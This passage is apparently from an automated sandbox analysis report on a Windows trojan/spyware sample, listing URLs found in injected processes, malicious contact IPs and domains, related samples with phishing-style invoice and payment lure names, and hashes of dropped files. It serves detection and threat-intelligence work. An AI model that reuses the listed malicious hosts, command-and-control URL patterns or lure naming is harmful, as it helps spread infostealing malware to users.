https://www.msn.com/en-us/news/us/texas-gov-abbott-sends-miles-of-cars-al	explorer.exe, 0000001D.00000000.1578203859.0000000005400000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.1719526997.0000000005400000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.1646036083.0000000005400000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.1437337668.0000000005400000.00000004.00000001.00020000.00000000.sdmp	false		high
https://android.notify.windows.com/iOS	explorer.exe, 0000001D.00000000.1478136479.000000000FE9D000.00000004.00000001.00020000.00000000.sdmp	false		high
https://activity.windows.com/UserActivity.ReadWrite.CreatedByApp	explorer.exe, 0000001D.00000000.1483111483.000000001009F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.1680933547.000000001009F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.1609653243.000000001009F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.register.com?trkID=WSTm3u15CW	help.exe, 00000013.00000002.5839690170.0000000006210000.00000004.00000800.00020000.00000000.sdmp, help.exe, 00000013.00000002.5838050175.000000000530E000.00000004.10000000.00040000.00000000.sdmp	false		high
http://www.pinwheeleffect.org/Parental_Control.cfm?fp=oTSDZKU%2B0iibnvnGRZVQNnk%2BJyUzFuBOGaWliWxRKR	help.exe, 00000013.00000002.5839690170.0000000006210000.00000004.00000800.00020000.00000000.sdmp, help.exe, 00000013.00000002.5838050175.000000000530E000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pinwheeleffect.org/Accident_Lawyers.cfm?fp=oTSDZKU%2B0iibnvnGRZVQNnk%2BJyUzFuBOGaWliWxRKR	help.exe, 00000013.00000002.5839690170.0000000006210000.00000004.00000800.00020000.00000000.sdmp, help.exe, 00000013.00000002.5838050175.000000000530E000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pinwheeleffect.org/High_Speed_Internet.cfm?fp=oTSDZKU%2B0iibnvnGRZVQNnk%2BJyUzFuBOGaWliWx	help.exe, 00000013.00000002.5839690170.0000000006210000.00000004.00000800.00020000.00000000.sdmp, help.exe, 00000013.00000002.5838050175.000000000530E000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pinwheeleffect.org/music_videos.cfm?fp=oTSDZKU%2B0iibnvnGRZVQNnk%2BJyUzFuBOGaWliWxRKRoC9f	help.exe, 00000013.00000002.5839690170.0000000006210000.00000004.00000800.00020000.00000000.sdmp, help.exe, 00000013.00000002.5838050175.000000000530E000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.msn.com/#	explorer.exe, 0000001D.00000000.1566141100.0000000000D73000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.1707044735.0000000000D73000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.1423308088.0000000000D73000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.1634292873.0000000000D73000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.msn.com/v1/news/Feed/Windows?	explorer.exe, 0000001D.00000000.1650696927.0000000009848000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.1582853419.0000000009848000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.1724750579.0000000009848000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.1444672750.0000000009848000.00000004.00000001.00020000.00000000.sdmp	false		high
http://xn--299aa717y.xn--3e0b707e/wp-content/themes/twentytwentytwo/style.css?ver=1.3	help.exe, 00000013.00000002.5838386641.00000000054A0000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.certum.pl/ctsca2021.crl0o	Jjfmcz1Hsz.exe	false		high
https://dts.gnpge.com	help.exe, 00000013.00000002.5838050175.000000000530E000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://windows.msn.com/shell	explorer.exe, 0000001D.00000000.1666507279.000000000D37E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.1739864763.000000000D37E000.00000004.00000001.00020000.00000000.sdmp	false		high
http://i3.cdn-image.com/__media__/pics/8932/arrows.jpg)	help.exe, 00000013.00000002.5839690170.0000000006210000.00000004.00000800.00020000.00000000.sdmp, help.exe, 00000013.00000002.5838050175.000000000530E000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://doc-0g-7s-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/41p6p8b8	Jjfmcz1Hsz.exe, 0000000B.00000003.1182355015.000000000182F000.00000004.00000020.00020000.00000000.sdmp, Jjfmcz1Hsz.exe, 0000000B.00000003.1171500382.0000000001832000.00000004.00000020.00020000.00000000.sdmp, Jjfmcz1Hsz.exe, 0000000B.00000003.1181941990.0000000001819000.00000004.00000020.00020000.00000000.sdmp, Jjfmcz1Hsz.exe, 0000000B.00000003.1181384461.000000000182F000.00000004.00000020.00020000.00000000.sdmp, Jjfmcz1Hsz.exe, 0000000B.00000003.1171881255.0000000001871000.00000004.00000020.00020000.00000000.sdmp, Jjfmcz1Hsz.exe, 0000000B.00000002.1324345210.00000000017B8000.00000004.00000020.00020000.00000000.sdmp, Jjfmcz1Hsz.exe, 0000000B.00000003.1177181129.0000000001832000.00000004.00000020.00020000.00000000.sdmp, Jjfmcz1Hsz.exe, 0000000B.00000002.1325265421.0000000001832000.00000004.00000020.00020000.00000000.sdmp, Jjfmcz1Hsz.exe, 0000000B.00000003.1177142759.000000000182F000.00000004.00000020.00020000.00000000.sdmp, Jjfmcz1Hsz.exe, 0000000B.00000002.1325068211.0000000001819000.00000004.00000020.00020000.00000000.sdmp	false		high
https://wordpress.org	help.exe, 00000013.00000002.5838386641.00000000054A0000.00000004.10000000.00040000.00000000.sdmp	false		high
http://xn--299aa717y.xn--3e0b707e/	help.exe, 00000013.00000002.5838386641.00000000054A0000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.google.com/chrome/?p=plugin_flash	help.exe, 00000013.00000002.5841740291.0000000007D98000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.register.com/whois.rcmx?domainName=Pinwheeleffect.org	help.exe, 00000013.00000002.5839690170.0000000006210000.00000004.00000800.00020000.00000000.sdmp, help.exe, 00000013.00000002.5838050175.000000000530E000.00000004.10000000.00040000.00000000.sdmp	false		high
http://www.pinwheeleffect.org/px.js?ch=2	help.exe, 00000013.00000002.5839690170.0000000006210000.00000004.00000800.00020000.00000000.sdmp, help.exe, 00000013.00000002.5838050175.000000000530E000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sedo.com/search/details/?partnerid=324561&language=d&domain=popular.directory&origin=sales_l	help.exe, 00000013.00000002.5837586951.0000000004FEA000.00000004.10000000.00040000.00000000.sdmp	false		high
http://www.pinwheeleffect.org/px.js?ch=1	help.exe, 00000013.00000002.5839690170.0000000006210000.00000004.00000800.00020000.00000000.sdmp, help.exe, 00000013.00000002.5838050175.000000000530E000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://push.zhanzhang.baidu.com/push.js	help.exe, 00000013.00000002.5836975372.0000000004B34000.00000004.10000000.00040000.00000000.sdmp	false		high
http://schemas.micro	explorer.exe, 0000001D.00000000.1586221524.000000000A730000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000001D.00000000.1638822548.0000000003230000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000001D.00000000.1449715301.000000000AFB0000.00000002.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pinwheeleffect.org/display.cfm	help.exe, 00000013.00000002.5839690170.0000000006210000.00000004.00000800.00020000.00000000.sdmp, help.exe, 00000013.00000002.5838050175.000000000530E000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
154.204.24.45	www.youlian.fund	Seychelles	136800	XIAOZHIYUN1-AS-APICIDCNETWORKUS	true
192.185.32.157	royaltechglobal.com	United States	46606	UNIFIEDLAYER-AS-1US	true
194.245.148.189	www.apidachicago.org	Germany	5517	CSLDE	true
208.91.197.39	www.pinwheeleffect.org	Virgin Islands (BRITISH)	40034	CONFLUENCE-NETWORK-INCVG	true
192.232.217.125	wellnessprodia.com	United States	46606	UNIFIEDLAYER-AS-1US	true
64.190.63.111	www.popular.directory	United States	11696	NBS11696US	true
103.91.8.90	www.t1fbrc.com	Hong Kong	45753	NETSEC-HKNETSECHK	true
172.217.23.110	drive.google.com	United States	15169	GOOGLEUS	false
66.29.151.40	www.gouldent.site	United States	19538	ADVANTAGECOMUS	true
38.55.15.214	www.xiaoxiuzhen.com	United States	174	COGENT-174US	true
45.130.41.24	www.searchbot.su	Russian Federation	198610	BEGET-ASRU	true
185.101.158.239	www.funknive.ch	Switzerland	207143	HOSTTECH-ASCH	true
142.250.184.225	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
75.2.81.212	www.gumba.shop	United States	16509	AMAZON-02US	true
50.87.192.144	xn--29-oj9ik7b890b.net	United States	46606	UNIFIEDLAYER-AS-1US	true
2.57.90.16	botbillionsblaze.website	Lithuania	47583	AS-HOSTINGERLT	true
103.63.2.175	www.005404.com	Hong Kong	132742	GGL-AS-APGuochaoGrouplimitedHK	true
198.58.118.167	www.labour-office.com	United States	63949	LINODE-APLinodeLLCUS	true
195.24.68.23	www.phootka.ru	Russian Federation	48287	RU-CENTERRU	true

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	760810
Start date and time:	2022-12-05 15:08:10 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 20m 16s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	Jjfmcz1Hsz.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, IE 11, Chrome 93, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected Instruction Hammering
Number of analysed new started processes analysed:	33
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@6/6@22/19
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 76.6% (good quality ratio 69.8%) Quality average: 74.9% Quality standard deviation: 30.8%
HCA Information:	Successful, ratio: 98% Number of executed functions: 131 Number of non-executed functions: 93
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, RuntimeBroker.exe, WMIADAP.exe, backgroundTaskHost.exe, SgrmBroker.exe, MoUsoCoreWorker.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 40.77.2.164, 52.152.108.96
Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, slscr.update.microsoft.com, tile-service.weather.microsoft.com, ctldl.windowsupdate.com, settings-win.data.microsoft.com, wdcp.microsoft.com, arc.msn.com, fe3cr.delivery.mp.microsoft.com, ris.api.iris.microsoft.com, wdcpalt.microsoft.com, fe3.delivery.mp.microsoft.com, login.live.com, glb.cws.prod.dcat.dsp.trafficmanager.net, img-prod-cms-rt-microsoft-com.akamaized.net
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
154.204.24.45	Lakeringernes (1).exe	Get hash	malicious	Browse	www.youlian.fund/i036/?k0GP1N2=LMIqSMdQ3q0mQ0O8E4Be7P+zrPM6Gg4aprrhhSoZXI8N9fokAeXZtK7CAx7jxtppbBVDda4uu0E3KjN/+XSSDpZJ6husVXmnlg==&Rzu=hV1Pon
	Aposporogony.exe	Get hash	malicious	Browse	www.youlian.fund/nqhc/?r4txB=MkuUvDTfzFLprDgv0d/zCzEj80YoaBEagpxYPCZUDQ8arMBq5slv03vCCvkVDe0A6/c8Ceh5Akj/CnOQLB+qucpYk5Fxn1TZTg==&1b=S8jD
	Tudbrlet.exe	Get hash	malicious	Browse	www.youlian.fund/nqhc/?qVnHaF=1bbXu4zHEnq0&7no4=MkuUvDTfzFLprDgv0d/zCzEj80YoaBEagpxYPCZUDQ8arMBq5slv03vCCvkVDe0A6/c8Ceh5Akj/CnOQLB+qucpYk5Fxn1TZTg==
192.185.32.157	Aposporogony.exe	Get hash	malicious	Browse	www.royaltechglobal.com/nqhc/?r4txB=RArbiR8kGTfwvUfF12jr2giE5B3dEAwcjM/WknZipSSonmN/xNtrcN1ZKvLPmagqEcu1BGBCcvtDrHnt/goojoamQzAeoLFDeA==&1b=S8jD
	Tudbrlet.exe	Get hash	malicious	Browse	www.royaltechglobal.com/nqhc/?7no4=RArbiR8kGTfwvUfF12jr2giE5B3dEAwcjM/WknZipSSonmN/xNtrcN1ZKvLPmagqEcu1BGBCcvtDrHnt/goojoamQzAeoLFDeA==&qVnHaF=1bbXu4zHEnq0
	Trubaduren.exe	Get hash	malicious	Browse	www.royaltechglobal.com/nqhc/?9rG=4h9DYRixlTZd&yDH=RArbiR8kGTfwvUfF12jr2giE5B3dEAwcjM/WknZipSSonmN/xNtrcN1ZKvLPmagqEcu1BGBCcvtDrHnt/goojoamQzAeoLFDeA==
	Buffone.exe	Get hash	malicious	Browse	www.royaltechglobal.com/ma6v/?dTVt1=FRvD&tFNx=02Bl+cWfDlBZkMWEaX3krzisSzoQcLPhqMMIqiW9WqGr0h3YO475jCxhTV2goziKF+Syp7Sv7uWbMFLP8pdTjzRLXH/ArU/oUQ==

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
www.phootka.ru	Aposporogony.exe	Get hash	malicious	Browse	195.24.68.23
	Scan AR441 SHEETS.exe	Get hash	malicious	Browse	195.24.68.23
	xLd3hdhrqJ.exe	Get hash	malicious	Browse	195.24.68.23
	HSBC Payment Advice_pdf.exe	Get hash	malicious	Browse	195.24.68.23
	Tudbrlet.exe	Get hash	malicious	Browse	195.24.68.23
	file.exe	Get hash	malicious	Browse	195.24.68.23
	Trubaduren.exe	Get hash	malicious	Browse	195.24.68.23
	SCAN AWB Docs No-285380XXX.exe	Get hash	malicious	Browse	195.24.68.23
	HSBC Advice_pdf.exe	Get hash	malicious	Browse	195.24.68.23
	HSBC Adivce_pdf.exe	Get hash	malicious	Browse	195.24.68.23
	HSBC Advice_pdf.exe	Get hash	malicious	Browse	195.24.68.23
	DOC Reference Invoice_72_1421 Note.exe	Get hash	malicious	Browse	195.24.68.23
	HSBC Advice_pdf.exe	Get hash	malicious	Browse	195.24.68.23
	HSBC Advice_pdf.exe	Get hash	malicious	Browse	195.24.68.23
	Purchase List_pdf.exe	Get hash	malicious	Browse	195.24.68.23
	Purchase List_pdf.exe	Get hash	malicious	Browse	195.24.68.23
	Purchase List_pdf.exe	Get hash	malicious	Browse	195.24.68.23
	Purchase List_pdf.exe	Get hash	malicious	Browse	195.24.68.23
	Shipment Documentation-REF GZARX019-10-22.bat.exe	Get hash	malicious	Browse	195.24.68.23
	RMTT Documentation-REF GZARX019-10-22.exe	Get hash	malicious	Browse	195.24.68.23

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
XIAOZHIYUN1-AS-APICIDCNETWORKUS	piyMkUBOS9.exe	Get hash	malicious	Browse	154.210.211.80
	UU.exe	Get hash	malicious	Browse	45.207.106.144
	Advice Ref SCA1Sv2.exe	Get hash	malicious	Browse	156.254.174.120
	file.exe	Get hash	malicious	Browse	156.254.145.14
	Urgent quote request -pdf-.exe	Get hash	malicious	Browse	154.222.125.220
	Lakeringernes (1).exe	Get hash	malicious	Browse	154.204.24.45
	output(1)(1).js	Get hash	malicious	Browse	156.254.145.14
	Quote.js	Get hash	malicious	Browse	156.234.70.54
	MviPEORLUw.elf	Get hash	malicious	Browse	156.253.67.15
	6Q7NVvtgwT.elf	Get hash	malicious	Browse	156.253.80.8
	kH7E1Hh6Kn.elf	Get hash	malicious	Browse	156.253.91.121
	nullnet_load.arm7.elf	Get hash	malicious	Browse	156.253.103.103
	Doc MT103 _pdf.exe	Get hash	malicious	Browse	45.207.91.148
	file.exe	Get hash	malicious	Browse	156.254.145.14
	Bm5ck7xf3Q.elf	Get hash	malicious	Browse	154.210.135.157
	icsS4j4eQj.elf	Get hash	malicious	Browse	156.226.137.230
	SWIFT Transfer (103) 022FT102211200045.exe	Get hash	malicious	Browse	156.254.147.131
	Aposporogony.exe	Get hash	malicious	Browse	154.204.24.45
	payment copy_$31,400.exe	Get hash	malicious	Browse	156.253.89.190
	lvHi6S56bE.elf	Get hash	malicious	Browse	156.253.91.133
UNIFIEDLAYER-AS-1US	BNK0002334269532_USD28,770.00.exe	Get hash	malicious	Browse	192.185.90.105
	Jyoti CNC Automation Ltd.exe	Get hash	malicious	Browse	192.185.90.105
	OUTSTANDING PI770100059 SOA OCT 2022.IMG	Get hash	malicious	Browse	74.220.219.219
	ZG11Q8WGTS.elf	Get hash	malicious	Browse	74.91.251.217
	swift(USD 17043.50).exe	Get hash	malicious	Browse	192.185.136.234
	3ts2As2Bkm.exe	Get hash	malicious	Browse	108.167.164.216
	2WDAob2RQA.elf	Get hash	malicious	Browse	74.91.145.220
	Confirmation transfer Ref No_00101334632192.exe	Get hash	malicious	Browse	162.214.129.149
	BNK0002334789532_USD28,770.00.exe	Get hash	malicious	Browse	192.185.90.105
	PGV44hRizw.elf	Get hash	malicious	Browse	66.147.255.245
	OUTSTANDING PI770100059 SOA OCT 2022.IMG	Get hash	malicious	Browse	108.167.180.185
	overdue invoices-pdf.vbs	Get hash	malicious	Browse	192.185.145.188
	Statement_xls.vbs	Get hash	malicious	Browse	192.185.145.188
	Cheshire_east_council_section_106_agreement (zx).js	Get hash	malicious	Browse	162.215.212.3
	BtbF18j4rkiRbxt.exe	Get hash	malicious	Browse	162.241.24.92
	http://www.emmajewelers.com	Get hash	malicious	Browse	69.49.244.173
	PAYMENT SLIP.exe	Get hash	malicious	Browse	50.87.139.143
	DHL_AWB_NO#907853880911.exe	Get hash	malicious	Browse	192.185.120.58
	aifdvvzopt.exe	Get hash	malicious	Browse	162.241.169.26
	SecuriteInfo.com.Win32.InjectorX-gen.829.1269.exe	Get hash	malicious	Browse	192.185.90.105

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
37f463bf4616ecd445d4a1937da06e19	https://es.sonicurlprotection-sjl.com/click?PV=2&MSGID=202212051136097531779&URLID=2&ESV=10.0.19.7431&IV=9A53CBD45BBEDDCF9F4B1BF37EE3E4CD&TT=1670240177446&ESN=tZaJ%2BjQWDsinfA98GgjS9QDOnNv%2BVAl0n4pOFvjZ6Hg%3D&KV=1536961729280&B64_ENCODED_URL=aHR0cHM6Ly9jbHQxNTE3MTY4LmJtZXRyYWNrLmNvbS9jL2w_dT1FQkIzMjEzJmFtcDtlPTE1NkIzNTgmYW1wO2M9MTcyNjcwJmFtcDt0PTEmYW1wO2w9OTg0OTRENDImYW1wO2VtYWlsPUpweURtbloyc05XYWZXY3B4NEY4SW5ubGtSakxVYlBlJmFtcDtzZXE9MSN0bnVnZW50QGNvbnRyYWN0cGhhcm1hY3kuY29t&HK=B80F276AC0E91EF98F7CC4B21AD04CF90DE4E3232CDD268E7884D89161F641B6	Get hash	malicious	Browse	172.217.23.110 142.250.184.225
	https://es.sonicurlprotection-sjl.com/click?PV=2&MSGID=202212051136097531779&URLID=4&ESV=10.0.19.7431&IV=657FF24C69FF82EE3B9B00769C38D0FA&TT=1670240177446&ESN=5h9%2BlKNQqrl4M%2F4G4Ek41r9YJCiP2XMFBznuhhBA2nQ%3D&KV=1536961729280&B64_ENCODED_URL=aHR0cHM6Ly9jbHQxNTE3MTY4LmJtZXRyYWNrLmNvbS9jL2w_dT1FQkIzMjEzJmU9MTU2QjM1OCZjPTE3MjY3MCZ0PTEmbD05ODQ5NEQ0MiZlbWFpbD1KcHlEbW5aMnNOV2FmV2NweDRGOElubmxrUmpMVWJQZSZzZXE9MSN0bnVnZW50QGNvbnRyYWN0cGhhcm1hY3kuY29t&HK=895370D62CE54A7B285B0BFE18DCDAE5FCEEDFA348C173646A698190DA618F7E	Get hash	malicious	Browse	172.217.23.110 142.250.184.225
	https://es.sonicurlprotection-sjl.com/click?PV=2&MSGID=202212051136097531779&URLID=3&ESV=10.0.19.7431&IV=87E67649CF0269E8A2BDD2E1D11B868E&TT=1670240177446&ESN=4iW4mdEXKfDFErppG5T0ibiQ8fDnhVtmCNUVqLiwf8w%3D&KV=1536961729280&B64_ENCODED_URL=aHR0cHM6Ly9jbHQxNTE3MTY4LmJtZXRyYWNrLmNvbS9jL2w_dT1FQkIzMjEzJmU9MTU2QjM1OCZjPTE3MjY3MCZ0PTEmbD05ODQ5NEQ0MiZlbWFpbD1KcHlEbW5aMnNOV2FmV2NweDRGOElubmxrUmpMVWJQZSZzZXE9MSN0bnVnZW50QGNvbnRyYWN0cGhhcm1hY3kuY29t&HK=4A36096343D4AEC5BB533C70DBAA0FDF4F195EEF77821F9CE3FF7F2AF6DB742B	Get hash	malicious	Browse	172.217.23.110 142.250.184.225
	Benefits_Enrollment.shtml	Get hash	malicious	Browse	172.217.23.110 142.250.184.225
	https://jj.newsstes.online/.01	Get hash	malicious	Browse	172.217.23.110 142.250.184.225
	nEry5lekj8.exe	Get hash	malicious	Browse	172.217.23.110 142.250.184.225
	file.exe	Get hash	malicious	Browse	172.217.23.110 142.250.184.225
	g0OhMx7a1m.exe	Get hash	malicious	Browse	172.217.23.110 142.250.184.225
	g0OhMx7a1m.exe	Get hash	malicious	Browse	172.217.23.110 142.250.184.225
	https://netflexapp.builderallwppro.com/skat22/	Get hash	malicious	Browse	172.217.23.110 142.250.184.225
	Benefits_Enrollment.shtml	Get hash	malicious	Browse	172.217.23.110 142.250.184.225
	#Uc800#Uc791#Uad8c#Ubc95 #Uad00#Ub828 #Ub0b4#Uc6a9#Uc99d#Uba85#Uc11c#Uc2dc#Uc2a4#Ud15c.docx	Get hash	malicious	Browse	172.217.23.110 142.250.184.225
	#Uc784#Ubc94#Uc218.docx	Get hash	malicious	Browse	172.217.23.110 142.250.184.225
	SecuriteInfo.com.Win32.Evo-gen.24201.15247.exe	Get hash	malicious	Browse	172.217.23.110 142.250.184.225
	#Uc800#Uc791#Uad8c#Ubc95 #Uad00#Ub828 #Ub0b4#Uc6a9#Uc99d#Uba85#Uc11c#Uc2dc#Uc2a4#Ud15c.docx	Get hash	malicious	Browse	172.217.23.110 142.250.184.225
	Bc1N48FGww.exe	Get hash	malicious	Browse	172.217.23.110 142.250.184.225
	E3R9lqfu1G.exe	Get hash	malicious	Browse	172.217.23.110 142.250.184.225
	SecuriteInfo.com.Win32.Malware-gen.15285.91.exe	Get hash	malicious	Browse	172.217.23.110 142.250.184.225
	Benefits_Enrollment.shtml	Get hash	malicious	Browse	172.217.23.110 142.250.184.225
	1697-1698-1699pdf.exe	Get hash	malicious	Browse	172.217.23.110 142.250.184.225

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Users\user\AppData\Local\Temp\nsl1543.tmp\System.dll	PmRXFyOFkf.exe	Get hash	malicious	Browse
	PmRXFyOFkf.exe	Get hash	malicious	Browse
	Lakeringernes (1).exe	Get hash	malicious	Browse
	Lakeringernes (1).exe	Get hash	malicious	Browse
	proforma.exe	Get hash	malicious	Browse
	proforma.exe	Get hash	malicious	Browse
	factura pdf.exe	Get hash	malicious	Browse
	factura pdf.exe	Get hash	malicious	Browse
	factura pdf.exe	Get hash	malicious	Browse
	factura pdf.exe	Get hash	malicious	Browse
	factura pdf.exe	Get hash	malicious	Browse
	factura pdf.exe	Get hash	malicious	Browse
	payload.exe	Get hash	malicious	Browse
	payload.exe	Get hash	malicious	Browse
	FACTURA pdf.exe	Get hash	malicious	Browse
	FACTURA pdf.exe	Get hash	malicious	Browse
	Tudbrlet.exe	Get hash	malicious	Browse
	Tudbrlet.exe	Get hash	malicious	Browse
	factura 1722 pdf.exe	Get hash	malicious	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\231-EqK-

Process:	C:\Windows\SysWOW64\help.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 5, database pages 59, cookie 0x4f, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	122880
Entropy (8bit):	1.1305327154874678
Encrypted:	false
SSDEEP:	192:oLt4nKTjebGAUJp/XH9euJDvphC+KRmquPWSTVumQ6:it4nsJp/39RDhw+KRmqu+cVumQ
MD5:	D331C900DDE8ACB523C51D9448205C0A
SHA1:	BDB3366F54876E78F76A6244EDA7A4C302FEB91D
SHA-256:	F199798DF1C37E3A8F6FFF1E208F083CF687F5C6A220DCAD42BB68F2120181CD
SHA-512:	415E4F4F26D4F861063676EA786C2941DB8DB7E248E32D84595BC7D531CE19669AFDCB447BC18B0B723839984CD15269FF6E89EBCD168D8EBD0EC7AF86CC92E7
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......;...........O......................................................O}...........5........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Distressingly\Bloods\Ultraevangelical\Micala\aarhundredeskiftet\Dichroitic30\Climaxed\Alphabetology.Mis

Process:	C:\Users\user\Desktop\Jjfmcz1Hsz.exe
File Type:	data
Category:	dropped
Size (bytes):	134250
Entropy (8bit):	7.998560975106141
Encrypted:	true
SSDEEP:	3072:fGPy6FfzSxjEl2NrGiobRMQnzGopHc+wyrry:ua6Ff2xjwPzZcTQy
MD5:	FF0BD6DD5159F28FB1032525A36F7C17
SHA1:	8241D741F3327FEC5F681E475BD21991B7CAE494
SHA-256:	39293106CCA10EA737DB6D5D79591B3C3A1946CEF2C8824D802E9EB6D959AF40
SHA-512:	761CC23AB8E5FFBD704351F656AD07FE94BAA80F121B15699D878832F4F4D8CF6AED454EDAB780B21349EB00C1526E647BF008BE942B5CC7A1F36877D82CF875
Malicious:	false
Preview:	bfi.>.Y..Z$.^..b.L.2=?....U{.`....J1S..b:.v..A1./....@.....0/jT..(.......&.X.!T.....g. .J..LN.7.a.0...t6:.a.......m.]..@S...Y.7Fa{.....9........n.:.r...#...jn.j.{...T.....SG.m..U/...-...,.6R.h.&}...p2.B.Q0+o..N.O.q`F.do].......X........y.>.....Y..wr.J..J.U.A...[..<0&T..q.o..`P.p.9.....GuL.............`..)X....1.@..1..y.Il.oK...?.i./..a.X+...p......).....d..J..T...L.....c..[....4..\N.......g~.d..9..M.\.?.x...b.?....Xa.i....9.e.k..-..........sG..uV?.7..I...v...7s$.E........6.]..+..{....l.G..biM.I.....4?....>w..(...=vi...9...9-.]G.40...@]..2...#...z.a....r.B(..u...B...Xn..G...u:S0s....9.k>{..v.#.fA...=...0..u.3A..\_..[.;w..,..X5A.....<3.....2...Ws.....06..k......pv.5..l...Xr\|...1a....j..3o..8.Fd.L+.1.....0j......%'...S..N~.}...rgQQ.c...m;E..J..u5j...K..,? ......,#..#.........f......L.T..[k.n..;w.......G....7..n......D.4j.v.3.t..@..w.!HK\..1..%Sy...o....G.R.C.....hs..~...F.lA..<.....j.h...O.F.e..@..P.#h.........C....t....?...v.....

C:\Users\user\AppData\Local\Temp\Distressingly\Bloods\Ultraevangelical\Micala\aarhundredeskiftet\Dichroitic30\Climaxed\Apteria.Uhy

Process:	C:\Users\user\Desktop\Jjfmcz1Hsz.exe
File Type:	data
Category:	dropped
Size (bytes):	183714
Entropy (8bit):	6.693816749725693
Encrypted:	false
SSDEEP:	3072:/Bk2P9pu9pC/yG3YhAu/TepE0KPiVL442m:J91MC732Au/ipE0154Q
MD5:	659325AF9C23B36297F8B4B220F2705C
SHA1:	F56B8A48E6DB00C404BAA1CCFFFF9AA000AC9E11
SHA-256:	10E81CAD6732488F986BF994A832A0B4B8A437B2B7CEB86EB22ADEF28DC4DAFA
SHA-512:	08B886397B9E6A9941AB2184C06F64F0356AE79BCECDF78EFFA93D51FE0752CBDC55B74EF872556520A7AC192F04FF3A1FA6764750690FCDDB462EC7B9ED35EE
Malicious:	false
